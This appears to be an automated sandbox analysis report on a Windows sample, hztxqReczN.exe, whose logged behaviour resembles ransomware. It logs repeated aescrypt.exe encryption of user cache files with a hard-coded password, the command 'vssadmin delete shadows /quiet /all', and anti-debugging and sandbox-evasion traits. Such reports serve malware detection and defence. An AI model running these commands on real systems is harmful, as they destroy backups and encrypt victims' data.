Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_21[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_23[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_6[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /quiet /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_14[1].txt'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_5[1].txt'	Jump to behavior

Source: C:\Users\user\Desktop\hztxqReczN.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source:	Binary string: C:\Users\paulej\Documents\Source\AESCrypt\Windows\Console\Win32\Release\aescrypt.pdb source: hztxqReczN.exe, 00000000.00000003.195020258.00000000025F6000.00000004.00000001.sdmp, aescrypt.exe, 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000A.00000002.215803695.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000C.00000002.218586625.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000D.00000002.221794494.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000E.00000002.222832478.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000F.00000000.223582805.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000010.00000000.224552523.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000011.00000000.225765503.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000012.00000002.227581808.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000013.00000000.229538057.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000014.00000002.232501529.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000015.00000002.233440103.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000016.00000000.234350090.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000017.00000000.235483544.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000018.00000002.236449875.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000019.00000002.237375889.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001A.00000000.238124881.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001B.00000000.239107994.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001C.00000000.240051911.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001D.00000000.241090361.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001E.00000000.242057128.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001F.00000000.242976931.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000020.00000000.243882157.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000021.00000002.245059408.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000023.00000000.246267140.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000025.00000000.247382985.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000026.00000000.248461783.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000027.00000002.249550361.0000000000884000.00000002.00020000.sdmp, aescrypt.exe.0.dr
Source:	Binary string: C:\Users\paulej\Documents\Source\AESCrypt\Windows\Console\Win32\Release\aescrypt.pdb source: hztxqReczN.exe, 00000000.00000003.195020258.00000000025F6000.00000004.00000001.sdmp, aescrypt.exe, 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000A.00000002.215803695.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000B.00000002.217167848.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000C.00000002.218586625.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000D.00000002.221794494.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000E.00000002.222832478.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000000F.00000000.223582805.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000010.00000000.224552523.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000011.00000000.225765503.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000012.00000002.227581808.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000013.00000000.229538057.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000014.00000002.232501529.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000015.00000002.233440103.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000016.00000000.234350090.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000017.00000000.235483544.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000018.00000002.236449875.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000019.00000002.237375889.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001A.00000000.238124881.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001B.00000000.239107994.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001C.00000000.240051911.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001D.00000000.241090361.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001E.00000000.242057128.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 0000001F.00000000.242976931.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000020.00000000.243882157.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000021.00000002.245059408.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000023.00000000.246267140.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000025.00000000.247382985.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000026.00000000.248461783.0000000000884000.00000002.00020000.sdmp, aescrypt.exe, 00000027.00000002.249550361.0000000000884000.00000002.00020000.sdmp, aescrypt.exe.0.dr

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\hztxqReczN.exe

Unpacked PE file: 0.2.hztxqReczN.exe.400000.0.unpack

Source: C:\Users\user\Desktop\hztxqReczN.exe

Code function: 0_2_0040A6F6 GetTempPathW,LoadLibraryW,GetProcAddress,GetLongPathNameW,FreeLibrary,

0_2_0040A6F6

Source: hztxqReczN.exe

Static PE information: section name: .code

Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 9_2_0087C505 push ecx; ret		9_2_0087C518
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 11_2_0087C505 push ecx; ret		11_2_0087C518

Source: C:\Users\user\Desktop\hztxqReczN.exe

File created: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe

Jump to dropped file

Source: C:\Users\user\Desktop\hztxqReczN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hztxqReczN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hztxqReczN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\hztxqReczN.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Users\user\Desktop\hztxqReczN.exe	Window / User API: threadDelayed 4459			Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 1770			Jump to behavior

Source: C:\Users\user\Desktop\hztxqReczN.exe TID: 6612	Thread sleep count: 4459 > 30	Jump to behavior
Source: C:\Users\user\Desktop\hztxqReczN.exe TID: 6612	Thread sleep time: -111475s >= -30000s	Jump to behavior
Source: C:\Windows\System32\conhost.exe TID: 6768	Thread sleep count: 1770 > 30	Jump to behavior

Source: C:\Users\user\Desktop\hztxqReczN.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\hztxqReczN.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\hztxqReczN.exe

Thread sleep count: Count: 4459 delay: -25

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 9_2_0087A2D1 __malloc_crt,FindClose,FindFirstFileExW,FindNextFileW,FindClose,		9_2_0087A2D1
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 11_2_0087A2D1 __malloc_crt,FindClose,FindFirstFileExW,FindNextFileW,FindClose,		11_2_0087A2D1

Source: C:\Users\user\Desktop\hztxqReczN.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Desktop\hztxqReczN.exe	File opened: C:\Users\user\AppData\Local\Temp\ADC0.tmp	Jump to behavior
Source: C:\Users\user\Desktop\hztxqReczN.exe	File opened: C:\Users\user\AppData\Local\Temp\ADC0.tmp\ADC1.tmp	Jump to behavior
Source: C:\Users\user\Desktop\hztxqReczN.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Users\user\Desktop\hztxqReczN.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\hztxqReczN.exe	File opened: C:\Users\user\AppData\Local\Temp\ADC0.tmp\ADC1.tmp\ADC2.tmp	Jump to behavior

Source: wbadmin.exe, 00000008.00000002.205729339.000001F32E2C0000.00000002.00000001.sdmp	Binary or memory string: Either the Hyper-V role is not installed or there are no VMs configured on the
Source: wbadmin.exe, 00000008.00000002.205729339.000001F32E2C0000.00000002.00000001.sdmp	Binary or memory string: providing the component identifier. You can use "wbadmin get virtualmachines"
Source: wbadmin.exe, 00000008.00000002.205729339.000001F32E2C0000.00000002.00000001.sdmp	Binary or memory string: to list relevant info for Hyper-V components.
Source: wbadmin.exe, 00000008.00000002.205729339.000001F32E2C0000.00000002.00000001.sdmp	Binary or memory string: Cluster service, and Hyper-V for more information.
Source: WMIC.exe, 00000007.00000002.202919208.000002CCC4F50000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: wbadmin.exe, 00000008.00000002.205729339.000001F32E2C0000.00000002.00000001.sdmp	Binary or memory string: Syntax: WBADMIN GET VIRTUALMACHINES
Source: wbadmin.exe, 00000008.00000002.205729339.000001F32E2C0000.00000002.00000001.sdmp	Binary or memory string: different after recovery. After recovery is complete use Hyper-V Manager to
Source: wbadmin.exe, 00000008.00000002.205729339.000001F32E2C0000.00000002.00000001.sdmp	Binary or memory string: ERROR - The Hyper-V component '%1' specified is invalid.
Source: wbadmin.exe, 00000008.00000002.205729339.000001F32E2C0000.00000002.00000001.sdmp	Binary or memory string: registering the VM with the Hyper-V management service.
Source: wbadmin.exe, 00000008.00000002.205729339.000001F32E2C0000.00000002.00000001.sdmp	Binary or memory string: ERROR - The Hyper-V component '%1' is specified more than once. If there
Source: WMIC.exe, 00000007.00000002.202919208.000002CCC4F50000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: WMIC.exe, 00000007.00000002.202919208.000002CCC4F50000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: wbadmin.exe, 00000008.00000002.205729339.000001F32E2C0000.00000002.00000001.sdmp	Binary or memory string: -items:{<VolumesToRecover> \| <AppsToRecover> \| <VirtualMachinesToRecover> \| <FilesOrFoldersToRecover>}
Source: wbadmin.exe, 00000008.00000002.205729339.000001F32E2C0000.00000002.00000001.sdmp	Binary or memory string: GET VIRTUALMACHINES -- Lists current Hyper-V virtual machines.
Source: wbadmin.exe, 00000008.00000002.205729339.000001F32E2C0000.00000002.00000001.sdmp	Binary or memory string: An error occurred while preparing to back up Hyper-V data.
Source: wbadmin.exe, 00000008.00000002.205729339.000001F32E2C0000.00000002.00000001.sdmp	Binary or memory string: -If -itemtype is HyperV, you can specify VirtualMachine's name
Source: wbadmin.exe, 00000008.00000002.205729339.000001F32E2C0000.00000002.00000001.sdmp	Binary or memory string: Description: Lists the Hyper-V virtual machines that are present on the system.
Source: WMIC.exe, 00000007.00000002.202919208.000002CCC4F50000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe

Code function: 9_2_00878AD6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

9_2_00878AD6

Source: C:\Users\user\Desktop\hztxqReczN.exe

Code function: 0_2_0040A6F6 GetTempPathW,LoadLibraryW,GetProcAddress,GetLongPathNameW,FreeLibrary,

0_2_0040A6F6

Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe

Code function: 9_2_00882EFC __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

9_2_00882EFC

Source: C:\Users\user\Desktop\hztxqReczN.exe	Code function: 0_2_004098D0 SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,	0_2_004098D0
Source: C:\Users\user\Desktop\hztxqReczN.exe	Code function: 0_2_004098F0 SetUnhandledExceptionFilter,	0_2_004098F0
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 9_2_00878AD6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00878AD6
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 9_2_0087EE0F SetUnhandledExceptionFilter,	9_2_0087EE0F
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 9_2_0087B664 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_0087B664
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 11_2_00878AD6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_00878AD6
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 11_2_0087EE0F SetUnhandledExceptionFilter,	11_2_0087EE0F
Source: C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe	Code function: 11_2_0087B664 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_0087B664

